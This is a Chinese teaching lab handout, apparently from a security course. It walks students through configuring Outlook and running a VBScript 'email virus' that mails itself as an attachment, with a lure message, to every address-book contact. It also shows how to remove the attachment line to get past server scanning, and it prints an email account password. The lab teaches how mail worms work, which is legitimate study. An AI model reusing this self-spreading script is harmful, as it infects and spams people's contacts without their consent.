您好,欢迎访问三七文档
当前位置:首页 > 电子/通信 > 综合/其它 > L002003009-邮件型病毒实验
课程编写类别内容实验课题名称L002003009-邮件型病毒实验实验目的与要求掌握邮件型病毒的基本原理实验环境VPC1(虚拟PC)操作系统类型:windowsxp,网络接口:eth0连接要求与实验网络相连软件描述Outlook邮件客户端预备知识“邮件病毒”和普通的病毒在程序上是一样,只不过由于它们的传播途径主要是通过电子邮件,电子邮件病毒指电子邮件内包含病毒,在浏览邮件中的链接或下载附件的时候潜伏到电脑中,不日发作。病毒传播的一种方式,是继网页下载后又一大病毒传播途径。实验内容使用Outlook发送邮件型病毒,掌握邮件型病毒原理实验步骤学生单击“试验环境试验”按钮,出现如教材所示图1网络拓扑图1点击开始——Microsoftoffice——MicrosoftofficeOutlook2003启动outlook程序,如图2,3所示图2启动outlook2003,如教材图3界面所示,点击“下一步”图3进入“账户配置”,选择“是”,并点击“下一步”,如教材图4所示图4选中“POP3”,并点击“下一步”,如教材图5所示图5进入“电子邮件账户”界面,如教材图6所示,填写相应的信息如下:注意:电子邮件地址test20130222@yeah.net的密码为20130222test图6点击“其他设置”,进入如教材图7所示,选中“发送服务器”选项卡,选中如教材图7所示内容,并点击“确定”图7点击如教材图6中的“测试账户设置”,出现如教材图8所示对话框,若未出现错误,则直接点击“关闭”即可,若出现错误,则重新测试。图6点击下一步,即可完成“邮件账户的设置”如教材图7所示。图7设置完成后出现如教材所示图8窗口。图8在outlook菜单栏中点击新建邮件,如教材图9所示图9进入新建邮件的对话框,在对话框中填写以下信息收件人:test_20130222@yeah.net主题:test内容:test并点击菜单栏的“发送”按钮,则邮件发送。登录test_20130222@yeah.net邮箱,密码20130222test,如教材图10所示图10登录邮箱后,可发现刚才发送的邮件,如教材图11所示,说明outlook可在正常情况正常发送邮件图11点击outlook的工具——通讯薄,如教材图12所示图12点击弹出窗口“通讯簿”的如教材图13所示指针所指示的按钮,可弹出“添加新地址”窗口,如图13所示,选中“新建联系人”并点击“确定”图13进入填入联系人详细信息的窗口,如教材图14所化四,选中“常规”选项卡,填写以下信息姓氏:Bupt_Test电子邮件:test_20130222@yeah.net并点击如教材图15菜单栏所示的“保存并关闭”按钮。图15在C盘目录下新建一个TXT文档,并命名为test,如教材图16所示图16打开test.txt,粘贴如下代码并保存,如教材图17所示。代码如下SetobjOA=Wscript.CreateObject(Outlook.Application)'创建一个OUTLOOK应用的对象SetobjMapi=objOA.GetNameSpace(MAPI)'取得MAPI名字空间Fori=1toobjMapi.AddressLists.Count'遍历地址簿SetobjAddList=objMapi.AddressLists(i)Forj=1ToobjAddList.AddressEntries.CountSetobjMail=objOA.CreateItem(0)objMail.Recipients.Add(objAddList.AddressEntries(j))'取得收件人邮件地址objMail.Subject=你好!'设置邮件主题objMail.Body=这次给你的附件,是我的新文档!'设置信件内容objMail.Attachments.Add(c:test.vbs)'把自己作为附件扩散出去objMail.Send'发送邮件NextNextSetobjMapi=Nothing'清空objMapi变量,释放资源,值得学习的编程习惯SetobjOA=Nothing'清空objOA变量图17在C盘目录下选中工具——文件夹选项,如教材图18所示。图18进入“文件夹选项”窗口,选择“查看”选项卡,在高级设置中将“隐藏已知文件类型的扩展名”前面的勾去掉,并点击“确定”,如教材图19所示。图19将test.txt的后缀名改为vbs,并双击使之执行,如教材图20所示图20在outlook中出现如教材图21所示对话框,选择“是”,即可图21则此时test.vbs通过运行,企图向outlook通讯簿中的联系人发送含病毒的邮件,由于现在的邮件服务器都会对邮件进行扫描,所以传送了病毒的邮件不能传送到邮箱。参考上述方法将C盘目录下的test.vbs用记事本的方式打开,删除语句ObjMail.Attachments.Add(c:\test.vbs)并保存,双击使之运行,在进入目标邮箱test_20130222@yeah.net时,发现邮箱中有bupt发来的主题为“你好!”的邮件。如教材图22所示,则上述问题解决。图22
本文标题:L002003009-邮件型病毒实验
链接地址:https://www.777doc.com/doc-5315140 .html